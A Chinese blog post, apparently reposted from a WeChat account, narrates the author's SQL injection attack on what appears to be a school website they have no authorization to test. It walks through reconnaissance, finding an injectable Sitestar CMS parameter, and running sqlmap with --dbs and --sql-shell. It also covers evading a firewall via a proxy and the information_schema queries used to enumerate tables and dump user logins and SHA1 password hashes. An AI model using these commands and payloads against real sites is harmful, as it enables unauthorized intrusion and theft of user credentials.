前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >实战系列之你真的会mysql注入么?

实战系列之你真的会mysql注入么?

作者头像
lonelyvaf
发布2018-06-07 14:47:14
5890
发布2018-06-07 14:47:14
举报
文章被收录于专栏:晨星先生的自留地

在某论坛看到一个小朋友说要检测他母校,顺手翻了下那个站点,测试了下刚好可以为公众号写一篇关于sqlmap和mysql注入的文章。

虽然是一篇关于sql注入的文章,但是还是有必要说一下踩点。作为一名渗透师必须要养成的习惯。

首先是whois:

接着是同服务器网站查询。

接着是服务器信息的收集:

端口扫描,这里用国外一个黑客用python写的:

开启了21, 80

习惯性的输入robots.txt。无果。

输入 /admin,哈哈。这下指纹识别都省下了。sitestar,漏洞wooyun大大地有,不要和我说关了,:)有方法。

目录扫描暂且搁置,因为不清楚有无WAF,先看有没有注入点,是否有XSS存在。

发现:

http://www.****.com/index.php?_m=mod_product&_a=prdlist&cap_id=306

在id值前加负号。

说明此处可控。存在注入点。

那么尝试简单的手工注入,发现未能成功执行sql语句。比较懒,就丢进sqlmap里面。

sqlmap.py -u http://www.****/index.php?_m=mod_article&_a=fullist&caa_id=35

这里是显示基于布尔型的盲注,继续往下走。

又提示可能是基于时间的盲注?

真是奇葩,继续往下。

sqlmap.py -u"http://www.****/index.php?_m=mod_article&_a=fullist&caa_id=35"–dbs

爆出数据库的名字:

直接使用 - -sql-shell,形成一个sql交互shell

然后,版本知道了,select database();发现不是root,那么就不用select user();了。

因为用户名一般是root@localhost。不是root就是xxx@localhost。当然不在交互的shell中你也可直接用 --current-user 。那么不是root就无法into outfile。乖乖破解表名列名吧。

表名:SELECTgroup_concat(table_name) from information_schema.tables wheretable_schema=0x68646D313034303435385F6462

ss_admin_menu_categories ss_admin_menu_items ss_admin_shortcuts ss_article_categories ss_articles ss_background_musics ss_backups ss_bulletins ss_delivery_addresses ss_delivery_methods ss_download_categories ss_downloads ss_emails ss_friendlinks ss_languages ss_marquees ss_menu_items ss_menus ss_messages ss_module_blocks ss_navigations ss_online_orderr ss_online_qqs ss_onlinepay_histories ss_order_products ss_parameters ss_payment_accounts ss_payment_providers ss_product_categories ss_product_pics ss_products ss_roles ss_site_infos ss_static_contents ss_template_categories ss_templates ss_third_accounts ss_transactions ss_user_extends ss_user_fields ss_user_oauths ss_users

列名:select group_concat(column_name)from information_schema.columns where table_name=0x73735F7573657273

og_time,lastlog_ip,rstpwdreq_time,rstpwdreq_rkey,active,s_role,wizard,mobile,member_verify,nickname,gender,birthday,country,city,addr1,addr2,zdpcode,telephone

在跑表的过程中又发现有防火墙,就用代理跑。不然IP会被服务器拉黑

--proxy"http://127.0.0.1:1080"

发现确实是基于布尔也基于时间的,因为很慢。。--time-sec=10

最后,用selectlogin,passwd from ss_users limit 0,2;跑出密码和用户。

发现不是MD5,而是sha1。。。

登录乃是后话,以及要提的,有时候注入多dump出敏感的字段,因为看下图...

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2016-11-15,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 晨星先生 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档